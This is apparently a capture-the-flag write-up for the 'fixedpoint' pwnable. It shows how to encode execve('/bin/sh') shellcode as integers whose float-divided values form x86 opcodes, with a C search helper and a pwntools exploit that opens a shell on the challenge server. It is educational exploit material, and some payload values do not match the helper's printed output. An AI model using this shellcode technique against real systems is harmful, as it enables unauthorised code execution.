Here is another solution to a pwn challenge. They is no vulnerability per say, but a rather interesting way of getting code execution through floating point arithmetics.

Basic information

From the organizers:

fixedpoint
Pwnable (175 pts)
IEEE754 is useful when your values go from -inf to +inf, but really, fixed
point is all you need.

But if you want, you could grab this too.

Running at fixedpoint.pwning.xxx:7777

We have an unstripped ELF 32-bit executable with NX enabled and its corresponding source code.

$ file fixedpoint
fixedpoint: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24,
BuildID[sha1]=b3d0a38eefc86d419e757583139c8a00ca4433bf, not stripped

$ checksec --file fixedpoint
RELRO           STACK CANARY      NX            PIE             RPATH
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH
RUNPATH      FILE
No RUNPATH   fixedpoint

Source code

The source code was also provided:

#include <stdlib.h>
#include <sys/mman.h>
#include <stdio.h>

int main(int argc, char** argv) {
  float* array = mmap(0, sizeof(float)*8192, 7, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
  int i;
  int temp;
  float ftemp;

  for (i = 0; i < 8192; i++) {
    if (!scanf("%d", &temp)) break;
    array[i] = ((float)temp)/1337.0;
  }

  write(1, "here we go\n", 11);
  (*(void(*)())array)();
}

As we can see the code is quite simple:

  • it allocates an array for 8192 floats (4 bytes each)
  • reads from stdin a number
  • divides it by 1337 and store it in the array
  • once 8192 values have been read or scanf was not able to extract a value, it tries to execute what is contained in array

If we can insert correct opcodes into the array, we would be able to execute arbitrary instructions. The problem is that with floats and the division by 1337 they are some value that we can’t produce.

Opcodes of interest

As usual, the shellcode we want to execute is a syscall to execve("/bin/sh\0", 0, 0). On Linux 32-bit, a syscall uses the fastcall calling method where arguments are passed by registers rather than on the stack:

  • eax: 11 (syscall number)
  • ebx: address of /bin/sh\0
  • ecx: 0
  • edx: 0

Usually I would use the instruction mov to set eax but its corresponding opcode takes too much bytes and it is not possible to produce it. I’d rather use a xor followed by 11 inc:

$ shellnoob --intel -i --to-opcode
asm_to_opcode selected (type "quit" or ^C to end)
>> mov eax, 11
mov eax, 11 ~> b80b000000
>> xor eax, eax
xor eax, eax ~> 31c0
>> inc eax
inc eax ~> 40
>> xor ecx, ecx
xor ecx, ecx ~> 31c9
>> xor edx, edx
xor edx, edx ~> 31d2
>> int 0x80
int 0x80 ~> cd80

For ecx and edx we can also use xor. Now there is the problem of finding a place for /bin/sh\0 and small opcodes to reference it into ebx.

I chose to copy the value of the stack pointer into ebx then for each bytes of the string:

  • copy the byte at the location pointed by ebx
  • increment ebx

Once done, I have to rewind ebx at the beginning of the string. Another way could have been to use the push instruction to push the bytes on the stack in the reverse order and then copy the value of stack pointer into ebx.

Here are the remaining opcodes:

$ shellnoob --intel -i --to-opcode
asm_to_opcode selected (type "quit" or ^C to end)
>> mov ebx, esp
mov ebx, esp ~> 89e3
>> dec ebx
dec ebx ~> 4b

It is rather impossible to join all the needed opcode one after the other. We therefore need to surround them with dummy instruction such as nop or any other instructions that are 1 byte long. Through test of producible value, I found that a lot have 0x46 or 0x47 as the most significant byte, which correspond to inc esi and inc edi respectively.

I wrote a quick and dirty helper to find values that have the needed instruction in it and are surrounded by dummy ones:

/* compile with:
 * gcc -m32 -o gen_numbers -Wall -O2 gen_numbers.c
 * -m32 is needed because the target binary is also 32-bit and float numbers
 *  are not the same between a 32-bit binary and a 64-bit one
 */

#include <stdlib.h>
#include <stdio.h>

int main(void) {

  unsigned int i;
  unsigned int o;
  float v;
  float *pf;
  int *pi;
  int temp;
  int got;

  char *instructions[] = {
    "xor eax, eax; inc eax ~> 31c040",
    "inc eax; inc eax ~> 4040",
    "inc ebx; ~> 43",
    "dec ebx; dec ebx ~> 4b4b",
    "xor ecx, ecx ~> 31c9",
    "xor edx, edx ~> 31d2",
    "int 0x80 ~> cd80",
    "mov ebx, esp ~> 89e3",
    "dec ebx, dec ebx ~> 4b4b",
    "mov byte ptr [ebx], 0x2f ~> c6032f /",
    "mov byte ptr [ebx], 0x62 ~> c60362 b",
    "mov byte ptr [ebx], 0x69 ~> c60369 i",
    "mov byte ptr [ebx], 0x6e ~> c6036e n",
    "mov byte ptr [ebx], 0x73 ~> c60373 s",
    "mov byte ptr [ebx], 0x68 ~> c60368 h",
    "mov byte ptr [ebx], 0x00 ~> c60300 \\0"
  };
  int opcodes[] = {
    0x40c031,
    0x4040,
    /* add a dummy 46 */
    0x4643,
    0x4b4b,
    0xc931,
    0xd231,
    0x80cd,
    0xe389,
    0x4b4b, 
    0x2f03c6,
    0x6203c6,
    0x6903c6, 
    0x6e03c6,
    0x7303c6,
    0x6803c6,
    /* need to cheat for the test */
    0x10003c6
  };
  size_t size = sizeof(opcodes) / sizeof(opcodes[0]);

  /* dark pointer magic
   * the idea is to have a look at the float value from an integer prespective
   * to have an easy way to manipulate and compare it.
   */
  pf = &v;
  pi = (int *)pf;

  got = 0;
  for (i = 0; (got < size) && (i < 0xffffffff); i++) {
    temp = i;
    v = ((float)temp) / 1337.0;
    for ( o = 0; o < size; o++ ) {
      if ( opcodes[o] ) {
        /* separate both cases for a little more clarity... */
        if ( opcodes[o] < 0x10000 ) {
          /*
           * most significant byte is  either 0x46 or 0x47
           * case 1: next is either 0x46, 0x47 or 0x90
           *         two lowest significant byte are the opcode
           * case 2: next is the opcode
           *         least significant byte is either 0x46, 0x47 or 0x90
           */
          if ( (((*pi >> 24) == 0x46) || ((*pi >> 24) == 0x47))
              /* case 1 */
              && (((((*pi >> 16 & 0xff) == 0x46) || ((*pi >> 16 & 0xff) == 0x47)
                  || ((*pi >> 16 & 0xff) == 0x90)) && ((*pi & 0xffff) == opcodes[o]))
              /* case 2 */
                || ((((*pi & 0xff) == 0x46) || ((*pi & 0xff) == 0x47)
                    || ((*pi & 0xff) == 0x90)) && ((*pi & 0xffff00) == opcodes[o]))) ) {
            printf("%d => 0x%08x : %s\n", temp, *pi, instructions[o]);
            opcodes[o] = 0;
            got++;
          }
        } else {
          /* because of the cheat we have to mask it */
          if ( ((*pi) == ((opcodes[o] & 0xffffff) | 0x47000000))
              || ((*pi) == ((opcodes[o] & 0xffffff) | 0x46000000)) ) {
            printf("%d => 0x%08x : %s\n", temp, *pi, instructions[o]);
            opcodes[o] = 0;
            got++;
          }
        }
      }
    }
  }
  exit(0);
}

Here is its output:

$ ./gen_numbers
10953965 => 0x460003c6 : mov byte ptr [ebx], 0x00 ~> c60300 \0
14975661 => 0x462f03c6 : mov byte ptr [ebx], 0x2f ~> c6032f /
16493296 => 0x4640c031 : xor eax, eax; inc eax ~> 31c040
16963939 => 0x46464040 : inc eax; inc eax ~> 4040
16965949 => 0x46464643 : inc ebx; ~> 43
16967631 => 0x46464b4b : dec ebx; dec ebx ~> 4b4b
16967631 => 0x46464b4b : dec ebx, dec ebx ~> 4b4b
16985516 => 0x464680cd : int 0x80 ~> cd80
17009712 => 0x4646c931 : xor ecx, ecx ~> 31c9
17012720 => 0x4646d231 : xor edx, edx ~> 31d2
17018517 => 0x4646e389 : mov ebx, esp ~> 89e3
19339629 => 0x466203c6 : mov byte ptr [ebx], 0x62 ~> c60362 b
19853037 => 0x466803c6 : mov byte ptr [ebx], 0x68 ~> c60368 h
19938605 => 0x466903c6 : mov byte ptr [ebx], 0x69 ~> c60369 i

Payload

Now the numbers in the first column can be used to create the payload:

#!/usr/bin/env python2

from pwn import *

r = remote('fixedpoint.pwning.xxx', 7777)
#r = remote('localhost', 7777)

payload = [
        '17018517', # mov ebx, esp ~> 89e3
        '16493296', # xor eax, eax; inc eax ~> 31c040
        '16963939', # inc eax; inc eax ~> 4040
        '16963939', # inc eax; inc eax ~> 4040
        '16963939', # inc eax; inc eax ~> 4040
        '16963939', # inc eax; inc eax ~> 4040
        '16963939', # inc eax; inc eax ~> 4040
        '17009712', # xor ecx, ecx ~> 31c9
        '17012720', # xor edx, edx ~> 31d2
        '14975661', # /
        '16965949', # inc ebx
        '19339629', # b
        '16965949', # inc ebx
        '19938605', # i
        '16965949', # inc ebx
        '20366445', # n
        '16965949', # inc ebx
        '14975661', # /
        '16965949', # inc ebx
        '20794285', # s
        '16965949', # inc ebx
        '19853037', # h
        '16965949', # inc ebx
        '10953965', # \0
        '16965949', # inc ebx
        '16967631', # dec ebx; dec ebx;
        '16967631', # dec ebx; dec ebx;
        '16967631', # dec ebx; dec ebx;
        '16967631', # dec ebx; dec ebx;
        '17071084', # int 0x80
        ]

for d in payload:
    r.sendline(d)
# make scanf return 0
r.sendline('pretty please')
r.interactive()

Once executed, we have our shell:

$ ./payload.py
[+] Opening connection to fixedpoint.pwning.xxx on port 7777: Done
[*] Switching to interactive mode
here we go
$ ls
fixedpoint_02dc03c8a5ae299cf64c63ebab78fec7
flag.txt
wrapper
$ cat flag.txt
PCTF{why_isnt_IEEE_754_IEEE_7.54e2}

Maybe I should have spent hours reading the specs of IEEE 754 ;)